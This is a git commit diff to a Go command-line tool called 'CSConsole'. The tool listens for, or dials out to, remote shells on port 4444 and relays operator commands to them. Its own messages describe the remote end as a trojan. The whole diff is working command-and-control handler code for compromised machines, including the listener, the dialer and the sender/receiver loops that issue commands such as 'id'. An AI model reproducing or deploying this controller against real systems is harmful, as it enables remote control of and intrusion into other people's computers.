finish version 1.0

This commit is contained in:
Smart-SangGe 2022-07-25 00:41:34 +08:00
parent 456bce1ac1
commit 55702d8f95

View File

@ -11,7 +11,6 @@ import (
"regexp"
"strconv"
"strings"
"sync"
)
func main() {
@ -36,16 +35,13 @@ type env struct {
var env1 env
var lock sync.Mutex
// listener function
func listener(network string, port int) {
func listener(port int) {
// Create a listener
var addr net.TCPAddr
addr.IP = net.IPv4(127, 0, 0, 1)
addr.Port = port
listener, err := net.ListenTCP("tcp", &addr)
//listener, err := net.Listen("tcp", ":"+strport)
if err != nil {
fmt.Println("err = ", err)
return
@ -67,6 +63,8 @@ func listener(network string, port int) {
exit := make(chan string, 1)
receive := make(chan int)
sstop := make(chan string)
rstop := make(chan string)
//Get username
conn.Write([]byte("id\n"))
@ -75,25 +73,44 @@ func listener(network string, port int) {
go func() {
for {
<-receive
receiver(*conn)
fmt.Print(env1.username + " > ")
select {
case <-rstop:
return
default:
<-receive
receiver(*conn)
fmt.Print(env1.username + " > ")
}
}
}()
go func() {
for {
sender(conn, exit, receive)
select {
case <-sstop:
return
default:
sender(conn, exit, receive, sstop, rstop)
}
}
}()
fmt.Println("waiting exit")
aaaa := <-exit // 2. 尝试从通道中读取内容,若通道为空,则阻塞在此
sstop <- "stop sender"
rstop <- "stop receiver"
fmt.Printf("command: %v\n", aaaa)
return
}
// 控制台函数
func console() {
//set some defult env varieties
env1.lport = 4444
env1.rhost = "127.0.0.1"
env1.rport = 4444
reader := bufio.NewReader(os.Stdin)
for {
fmt.Print("CSConsole > ")
@ -165,13 +182,11 @@ func execInput(input string) error {
return nil
case "listen":
listener("tcp", env1.lport)
listener(env1.lport)
return nil
case "dial":
//dial("tcp", env1.rhost, env1.rport)
dial("tcp", "127.0.0.1", 4444)
fmt.Print("dial ended")
dial(env1.rhost, env1.rport)
return nil
case "exit":
os.Exit(0)
@ -188,7 +203,7 @@ func execInput(input string) error {
return cmd.Run()
}
func dial(network string, host string, port int) {
func dial(host string, port int) {
//处理连接参数
var dialaddr net.TCPAddr
var ipargs [4]int
@ -199,16 +214,19 @@ func dial(network string, host string, port int) {
dialaddr.IP = net.IPv4(byte(ipargs[0]), byte(ipargs[1]), byte(ipargs[2]), byte(ipargs[3]))
dialaddr.Port = port
conn, err := net.DialTCP(network, nil, &dialaddr)
conn, err := net.DialTCP("tcp", nil, &dialaddr)
if err != nil {
fmt.Fprintln(os.Stderr, err)
return
}
defer conn.Close()
defer fmt.Println("木马已断开")
fmt.Println("成功连接木马")
exit := make(chan string, 1)
receive := make(chan int)
sstop := make(chan string)
rstop := make(chan string)
conn.Write([]byte("id\n"))
receiver(*conn)
@ -216,24 +234,36 @@ func dial(network string, host string, port int) {
go func() {
for {
<-receive
receiver(*conn)
fmt.Print(env1.username + " > ")
select {
case <-rstop:
return
default:
<-receive
receiver(*conn)
fmt.Print(env1.username + " > ")
}
}
}()
go func() {
for {
sender(conn, exit, receive)
select {
case <-sstop:
return
default:
sender(conn, exit, receive, sstop, rstop)
}
}
}()
aaaa := <-exit // 2. 尝试从通道中读取内容,若通道为空,则阻塞在此
aaaa := <-exit //尝试从通道中读取内容,若通道为空,则阻塞在此
sstop <- "stop sender"
rstop <- "stop receiver"
fmt.Printf("command: %v\n", aaaa)
return
}
func sender(conn *net.TCPConn, exit chan string, receive chan int) {
func sender(conn *net.TCPConn, exit chan string, receive chan int, sstop chan string, rstop chan string) {
reader := bufio.NewReader(os.Stdin)
inp, err := reader.ReadString('\n')
if len(inp) == 1 {
@ -313,8 +343,8 @@ func sender(conn *net.TCPConn, exit chan string, receive chan int) {
if strings.HasPrefix(inp, ":exit") {
exit <- "server quit" // 3. 向通道内写入内容
conn.Close()
//fmt.Print(env1.username + " > ")
conn.Write([]byte("exit\n"))
receive <- 1
return
}
@ -355,8 +385,6 @@ func receiver(conn net.TCPConn) {
}
fmt.Printf("%v", string(buf[:n]))
if n != buflen {
fmt.Println(n)
return
}
}